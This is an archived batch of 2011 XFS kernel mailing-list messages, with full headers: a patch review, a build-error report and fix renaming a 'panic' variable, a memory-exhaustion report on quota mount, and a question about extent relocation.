X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxzOk-00058R-Vc; Fri, 11 Mar 2011 10:16:43 +0000 Date: Fri, 11 Mar 2011 05:16:42 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH] xfs: stop using the page cache to back the buffer cache Subject: Re: [PATCH] xfs: stop using the page cache to back the buffer cache Message-ID: <20110311101642.GA15786@infradead.org> References: <1299719104-11961-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299719104-11961-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299838604 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > + if (((unsigned long)(bp->b_addr + bp->b_buffer_length - 1) & > + PAGE_MASK) != > + ((unsigned long)bp->b_addr & PAGE_MASK)) { > + /* b_addr spans two pages - use alloc_page instead */ > + kmem_free(bp->b_addr); > + bp->b_addr = NULL; > + goto use_alloc_page; > + } Did you manage to hit this case? If it happens with any frequency under real workloads we really need to find a wayto avoid the allocation to start with. Otherwise looks good, Reviewed-by: Christoph Hellwig From geert.uytterhoeven@gmail.com Fri Mar 11 06:23:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2BCMxSm159404 for ; Fri, 11 Mar 2011 06:23:05 -0600 X-ASG-Debug-ID: 1299846339-411600910000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-fx0-f53.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 76C171BD573D; Fri, 11 Mar 2011 04:25:39 -0800 (PST) Received: from mail-fx0-f53.google.com (mail-fx0-f53.google.com [209.85.161.53]) by cuda.sgi.com with ESMTP id kmHb0jRrpGRani6q; Fri, 11 Mar 2011 04:25:39 -0800 (PST) Received: by fxm11 with SMTP id 11so981728fxm.26 for ; Fri, 11 Mar 2011 04:25:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:sender:date:x-google-sender-auth :message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=ItUX5t5kg1KSdRDI+caEdFdgjbMPxg9cv4xRaftPeZc=; b=FCDp4gdvmq1L7paLoBh98Hysrgiurc1KxfMNKJBYn1kaU3v571RrBHEOzfvEzAxF2A j5hdOaxBnq7zJeDSFn/3BvdCYhJAkb8kryUzclnGcxMPGnZbDtbmXmMXd0vW0/tR2s5w 2yTu6qj3l0i8ExmkAsM1CPwkZp+QOf5LMT0to= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:sender:date:x-google-sender-auth:message-id:subject :from:to:cc:content-type:content-transfer-encoding; b=hhxzKAkTCBm66e8FRIh+tiTe9MP7f0NU1t64CrPjYNukvcN4iHeHLOu5q5iSVmzV6u lwZLLGf55Hz5KaPKYrKS6Y4IeMvyEhf1z5UAWDxm7lSH0r+MUlF3O6uCSSEIWsFhvYEQ A4336AFPePJ4CUceRnP43S2zWtv0xH8inZw4o= MIME-Version: 1.0 Received: by 10.223.2.2 with SMTP id 2mr69018fah.47.1299846112537; Fri, 11 Mar 2011 04:21:52 -0800 (PST) Sender: geert.uytterhoeven@gmail.com Received: by 10.223.109.212 with HTTP; Fri, 11 Mar 2011 04:21:52 -0800 (PST) Date: Fri, 11 Mar 2011 13:21:52 +0100 X-Google-Sender-Auth: AewUIC9i77DsxCRQsjv1nS0gJxs Message-ID: X-ASG-Orig-Subj: [next] xfs: error: called object 'panic' is not a function Subject: [next] xfs: error: called object 'panic' is not a function From: Geert Uytterhoeven To: xfs-masters@oss.sgi.com, xfs@oss.sgi.com Cc: Linux-Next , linux-kernel@vger.kernel.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-fx0-f53.google.com[209.85.161.53] X-Barracuda-Start-Time: 1299846350 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0208 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57633 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean http://kisskb.ellerman.id.au/kisskb/buildresult/3977742/: | fs/xfs/linux-2.6/xfs_message.c:116: error: called object 'panic' is not a function | make[3]: *** [fs/xfs/linux-2.6/xfs_message.o] Error 1 Lemme guess, the problem fixed by commit cf78859f520f8275318f47d7864f4459d940cb6b (xfs: Do not name variables "panic= ") has reincarnated somewhere else? Gr{oetje,eeting}s, =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 Geert -- Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k= .org In personal conversations with technical people, I call myself a hacker. Bu= t when I'm talking to journalists I just say "programmer" or something like t= hat. =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds From aelder@sgi.com Fri Mar 11 06:37:17 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2BCbCde159949 for ; Fri, 11 Mar 2011 06:37:17 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 584828F80EA for ; Fri, 11 Mar 2011 04:39:58 -0800 (PST) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 11 Mar 2011 06:39:51 -0600 Subject: [PATCH] xfs: don't name variables "panic" From: Alex Elder Reply-To: aelder@sgi.com To: XFS Mailing List Cc: Geert Uytterhoeven In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Date: Fri, 11 Mar 2011 06:39:51 -0600 Message-ID: <1299847191.3462.1.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 11 Mar 2011 12:39:51.0951 (UTC) FILETIME=[6AA121F0:01CBDFE9] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean The new xfs_alert_tag() used a variable named "panic", and that is to be avoided. Rename it. Signed-off-by: Alex Elder --- fs/xfs/linux-2.6/xfs_message.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) Index: b/fs/xfs/linux-2.6/xfs_message.c =================================================================== --- a/fs/xfs/linux-2.6/xfs_message.c +++ b/fs/xfs/linux-2.6/xfs_message.c @@ -96,13 +96,13 @@ xfs_alert_tag( { struct va_format vaf; va_list args; - int panic = 0; + int do_panic = 0; int r; if (xfs_panic_mask && (xfs_panic_mask & panic_tag)) { xfs_printk(KERN_ALERT, mp, "XFS: Transforming an alert into a BUG."); - panic = 1; + do_panic = 1; } va_start(args, fmt); @@ -113,7 +113,7 @@ xfs_alert_tag( r = __xfs_printk(KERN_ALERT, mp, &vaf); va_end(args); - BUG_ON(panic); + BUG_ON(do_panic); return r; } From arekm@maven.pl Fri Mar 11 15:56:07 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2BLu1Ks184538 for ; Fri, 11 Mar 2011 15:56:07 -0600 X-ASG-Debug-ID: 1299880730-794402f70000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp-relay.maven.pl (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B5CC010D1B23 for ; Fri, 11 Mar 2011 13:58:51 -0800 (PST) Received: from smtp-relay.maven.pl (smtp-relay.maven.pl [193.239.45.138]) by cuda.sgi.com with ESMTP id X2bCe2X1NIyv8kK4 for ; Fri, 11 Mar 2011 13:58:51 -0800 (PST) Received: from 87-207-113-141.dynamic.chello.pl ([87.207.113.141]:45882 helo=tarm.maven.pl) by smtp-relay.maven.pl with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.73) (envelope-from ) id 1PyAMD-0006v4-KK for xfs@oss.sgi.com; Fri, 11 Mar 2011 22:58:49 +0100 Received: from arekm by tarm.maven.pl with local (Exim 4.74) (envelope-from ) id 1PyAMC-0001tj-R4 for xfs@oss.sgi.com; Fri, 11 Mar 2011 22:58:49 +0100 From: Arkadiusz Miskiewicz To: xfs@oss.sgi.com X-ASG-Orig-Subj: 2.6.37: mount with quota eats all available memory Subject: 2.6.37: mount with quota eats all available memory Date: Fri, 11 Mar 2011 22:58:48 +0100 User-Agent: KMail/1.13.6 (Linux/2.6.38-rc8-00065-g9179746-dirty; KDE/4.6.1; x86_64; ; ) MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201103112258.48742.arekm@maven.pl> X-Barracuda-Connect: smtp-relay.maven.pl[193.239.45.138] X-Barracuda-Start-Time: 1299880731 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0387 1.0000 -1.7714 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.77 X-Barracuda-Spam-Status: No, SCORE=-1.77 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57671 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I have a machine with 4GB, running 64bit 2.6.37, xfs on top of soft raid5. Recently after using xfs_fsr (and getting a oops) had to do xfs_repair and = now=20 I'm no longer able to mount this filesystem with usrquota and grpquota. xfs eats all ram, from slabtop: 3756380 3756380 100% 1.00K 244655 16 3914480K xfs_inode 251712 251711 99% 0.06K 3933 64 15732K kmalloc-64 118482 114287 96% 0.55K 4233 28 67728K radix_tree_node 88768 88711 99% 0.12K 2774 32 11096K kmalloc-128 28713 28713 100% 0.08K 563 51 2252K sysfs_dir_cache 22974 22973 99% 0.09K 547 42 2188K kmalloc-96 9776 9776 100% 0.25K 611 16 2444K kmalloc-256 7791 7791 100% 0.19K 371 21 1484K kmalloc-192 7168 7097 99% 0.01K 14 512 56K kmalloc-8 machine is not responsible anymore, xfs ate all ram If I don't use usr/grp quota then filesystem mounts without a problem. What are my options now? I need this system running again with quota but=20 loosing all quota information is not a problem (I can set it again). =2D-=20 Arkadiusz Mi=C5=9Bkiewicz PLD/Linux Team arekm / maven.pl http://ftp.pld-linux.org/ From arekm@maven.pl Fri Mar 11 16:00:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2BM0KRG184727 for ; Fri, 11 Mar 2011 16:00:25 -0600 X-ASG-Debug-ID: 1299880978-413f01930000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp-relay.maven.pl (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6866633BEC6 for ; Fri, 11 Mar 2011 14:02:58 -0800 (PST) Received: from smtp-relay.maven.pl (smtp-relay.maven.pl [193.239.45.138]) by cuda.sgi.com with ESMTP id GYRVYAD7vV5GlCIU for ; Fri, 11 Mar 2011 14:02:58 -0800 (PST) Received: from 87-207-113-141.dynamic.chello.pl ([87.207.113.141]:36999 helo=tarm.maven.pl) by smtp-relay.maven.pl with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.73) (envelope-from ) id 1PyAQD-0008CE-UY for xfs@oss.sgi.com; Fri, 11 Mar 2011 23:02:57 +0100 Received: from arekm by tarm.maven.pl with local (Exim 4.74) (envelope-from ) id 1PyAQD-0001zM-FJ for xfs@oss.sgi.com; Fri, 11 Mar 2011 23:02:57 +0100 From: Arkadiusz Miskiewicz To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.37: mount with quota eats all available memory Subject: Re: 2.6.37: mount with quota eats all available memory Date: Fri, 11 Mar 2011 23:02:57 +0100 User-Agent: KMail/1.13.6 (Linux/2.6.38-rc8-00065-g9179746-dirty; KDE/4.6.1; x86_64; ; ) References: <201103112258.48742.arekm@maven.pl> In-Reply-To: <201103112258.48742.arekm@maven.pl> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201103112302.57445.arekm@maven.pl> X-Barracuda-Connect: smtp-relay.maven.pl[193.239.45.138] X-Barracuda-Start-Time: 1299880989 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57672 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Friday 11 of March 2011, Arkadiusz Miskiewicz wrote: > I have a machine with 4GB, running 64bit 2.6.37, xfs on top of soft raid5. >=20 > Recently after using xfs_fsr (and getting a oops) had to do xfs_repair and > now I'm no longer able to mount this filesystem with usrquota and > grpquota. Some data about fs: # LC_ALL=3DC xfs_info /home meta-data=3D/dev/md3 isize=3D256 agcount=3D32, agsize=3D65= 64128 blks =3D sectsz=3D4096 attr=3D0 data =3D bsize=3D4096 blocks=3D210051776, imaxp= ct=3D25 =3D sunit=3D16 swidth=3D48 blks naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 log =3Dinternal bsize=3D4096 blocks=3D32768, version= =3D2 =3D sectsz=3D4096 sunit=3D1 blks, lazy-coun= t=3D0 realtime =3Dnone extsz=3D196608 blocks=3D0, rtextents=3D0 # cat /proc/mdstat Personalities : [raid10] [raid1] [raid6] [raid5] [raid4] md3 : active raid5 sda4[0] sdd4[3] sdc4[2] sdb4[1] 840207168 blocks level 5, 64k chunk, algorithm 2 [4/4] [UUUU] bitmap: 2/3 pages [8KB], 65536KB chunk =2D-=20 Arkadiusz Mi=C5=9Bkiewicz PLD/Linux Team arekm / maven.pl http://ftp.pld-linux.org/ From swanson@cs.ucsd.edu Fri Mar 11 16:26:56 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2BMQow9185678 for ; Fri, 11 Mar 2011 16:26:56 -0600 X-ASG-Debug-ID: 1299882571-5d7a00810000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from iport-c2-out.ucsd.edu (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8FEC610D1D23 for ; Fri, 11 Mar 2011 14:29:31 -0800 (PST) Received: from iport-c2-out.ucsd.edu (iport-c2-out.ucsd.edu [132.239.0.119]) by cuda.sgi.com with ESMTP id 70BKvSDBYiDgZkmt for ; Fri, 11 Mar 2011 14:29:31 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApsEAPowek2E7zNQ/2dsb2JhbACnL7luiGuFYgSFKYpwGg X-IronPort-AV: E=Sophos;i="4.62,305,1297065600"; d="scan'208";a="455956301" Received: from csesmtp2.ucsd.edu (HELO cse-smtp.ucsd.edu) ([132.239.51.80]) by iport-c2-out.ucsd.edu with ESMTP/TLS/ADH-AES256-SHA; 11 Mar 2011 14:29:31 -0800 Received: from [128.54.20.156] (unknown [128.54.20.156]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by cse-smtp.ucsd.edu (Postfix) with ESMTP id E350F50047; Fri, 11 Mar 2011 14:29:30 -0800 (PST) X-ASG-Orig-Subj: Re: Does XFS ever relocate extents after they are on disk? Subject: Re: Does XFS ever relocate extents after they are on disk? Mime-Version: 1.0 (Apple Message framework v1082) Content-Type: text/plain; charset=us-ascii From: Steven Swanson In-Reply-To: <20110311100936.GA11879@infradead.org> Date: Fri, 11 Mar 2011 14:29:30 -0800 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: References: <903E14DC-D9EA-4BDC-8D43-FBB9AB4127BC@cs.ucsd.edu> <20110311100936.GA11879@infradead.org> To: Christoph Hellwig X-Mailer: Apple Mail (2.1082) X-Barracuda-Connect: iport-c2-out.ucsd.edu[132.239.0.119] X-Barracuda-Start-Time: 1299882582 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57673 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Christoph, Thanks for the quick reply. =20 Here's another question: If I write data to an extent that already = exists, am I also guaranteed that the new data will overwrite the same = location? For instance, will XFS ever relocate an extent on a write in = order to expand the extent? -steve On Mar 11, 2011, at 2:09 AM, Christoph Hellwig wrote: > On Thu, Mar 10, 2011 at 11:55:21PM -0800, Steven Swanson wrote: >> I have simple question that I'm having trouble finding a concrete = answer for: >>=20 >> Does XFS ever relocate a file or one of its extents once it's been = written to disk? For instance, does the file system ever decide to = reorganize extents to reduce fragmentation. >>=20 >> I've read through all the documentation I can find, and everything = points to using an external de-fragmentation tool, which suggests that = XFS won't do it autonomously, but for the project we are working on it = would be useful to know for certain when and under what conditions XFS = might decide to move an extent that's already been written. >=20 > XFS kernel code will never move the written extents by itself. The = xfs_fsr > tool can instruct the kernel to move extents by the swapext ioctl, and > it can be run through a cron job, although that is usually not = required. >=20 From david@fromorbit.com Fri Mar 11 16:59:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2BMxetZ187141 for ; Fri, 11 Mar 2011 16:59:45 -0600 X-ASG-Debug-ID: 1299884539-7bb703cc0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7D2B11EBAD78 for ; Fri, 11 Mar 2011 15:02:20 -0800 (PST) Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id yfzAgGsjxMeffgtB for ; Fri, 11 Mar 2011 15:02:20 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmAEAJs2ek15LK5JgWdsb2JhbACmNxUBARYmJcJYDYVVBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Mar 2011 09:32:18 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PyBLb-0007WI-En; Sat, 12 Mar 2011 10:02:15 +1100 Date: Sat, 12 Mar 2011 10:02:15 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH] xfs: stop using the page cache to back the buffer cache Subject: Re: [PATCH] xfs: stop using the page cache to back the buffer cache Message-ID: <20110311230215.GD15097@dastard> References: <1299719104-11961-1-git-send-email-david@fromorbit.com> <20110311101642.GA15786@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110311101642.GA15786@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1299884551 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0002 1.0000 -2.0198 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 11, 2011 at 05:16:42AM -0500, Christoph Hellwig wrote: > > + if (((unsigned long)(bp->b_addr + bp->b_buffer_length - 1) & > > + PAGE_MASK) != > > + ((unsigned long)bp->b_addr & PAGE_MASK)) { > > + /* b_addr spans two pages - use alloc_page instead */ > > + kmem_free(bp->b_addr); > > + bp->b_addr = NULL; > > + goto use_alloc_page; > > + } > > Did you manage to hit this case? If it happens with any frequency under > real workloads we really need to find a wayto avoid the allocation to > start with. It's the replacement for the assert that you managed to trigger in the previous version. The assert fired if the returned memory spanned two pages, so this is catching and handling that case if it ever occurs. No, I haven't sen it trip, but then again I only ever saw the previous assert fire once and was never able to reproduce it. I'd prefer to leave it there as a definsive mechanism, especially if the kernel grows a new SLxB allocator with different behaviour... Cheers, Dave. -- Dave Chinner david@fromorbit.com From aelder@oss.sgi.com Fri Mar 11 17:16:31 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2BNGVKF187925 for ; Fri, 11 Mar 2011 17:16:31 -0600 Received: (from aelder@localhost) by oss.sgi.com (8.14.3/8.14.3/Submit) id p2BNGN8G187897; Fri, 11 Mar 2011 17:16:23 -0600 Date: Fri, 11 Mar 2011 17:16:23 -0600 Message-Id: <201103112316.p2BNGN8G187897@oss.sgi.com> From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. v2.6.37-rc4-9201-g0c9ba97 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: ecb6928fcf969b302929f109e175981df1dba697 X-Git-Newrev: 0c9ba97318fc9a905bcc1419b6966de061203a70 This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 0c9ba97 xfs: don't name variables "panic" from ecb6928fcf969b302929f109e175981df1dba697 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 0c9ba97318fc9a905bcc1419b6966de061203a70 Author: Alex Elder Date: Fri Mar 11 12:39:51 2011 +0000 xfs: don't name variables "panic" The new xfs_alert_tag() used a variable named "panic", and that is to be avoided. Rename it. Signed-off-by: Alex Elder Reviewed-by: Dave Chinner ----------------------------------------------------------------------- Summary of changes: fs/xfs/linux-2.6/xfs_message.c | 8 ++++---- 1 files changed, 4 insertions(+), 4 deletions(-) hooks/post-receive -- XFS development tree From sekharan@us.ibm.com Fri Mar 11 21:01:24 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.6 required=5.0 tests=BAYES_00,J_CHICKENPOX_28, J_CHICKENPOX_53,J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2C31DRB195805 for ; Fri, 11 Mar 2011 21:01:24 -0600 X-ASG-Debug-ID: 1299899033-12bc01540000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from e31.co.us.ibm.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B58B61B09519 for ; Fri, 11 Mar 2011 19:03:53 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.149]) by cuda.sgi.com with ESMTP id la01pQjpWOlSZgEK for ; Fri, 11 Mar 2011 19:03:53 -0800 (PST) Received: from d03relay05.boulder.ibm.com (d03relay05.boulder.ibm.com [9.17.195.107]) by e31.co.us.ibm.com (8.14.4/8.13.1) with ESMTP id p2C2mjhD003958 for ; Fri, 11 Mar 2011 19:48:45 -0700 Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167]) by d03relay05.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id p2C33rft104130 for ; Fri, 11 Mar 2011 20:03:53 -0700 Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1]) by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p2C33r9M028039 for ; Fri, 11 Mar 2011 20:03:53 -0700 Received: from [9.47.24.164] (chandra-lucid.beaverton.ibm.com [9.47.24.164]) by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p2C33qBl028015 for ; Fri, 11 Mar 2011 20:03:52 -0700 X-ASG-Orig-Subj: testcase 011 trips and ASSERT in x86_64 too Subject: testcase 011 trips and ASSERT in x86_64 too From: Chandra Seetharaman Reply-To: sekharan@us.ibm.com To: XFS Mailing List Content-Type: multipart/mixed; boundary="=-+dWvLbSMxQrWvDwVyQrJ" Organization: IBM Date: Fri, 11 Mar 2011 19:06:06 -0800 Message-ID: <1299899166.32230.629.camel@chandra-lucid.beaverton.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 X-Barracuda-Connect: e31.co.us.ibm.com[32.97.110.149] X-Barracuda-Start-Time: 1299899044 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57692 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean --=-+dWvLbSMxQrWvDwVyQrJ Content-Type: text/plain; charset="UTF-8" 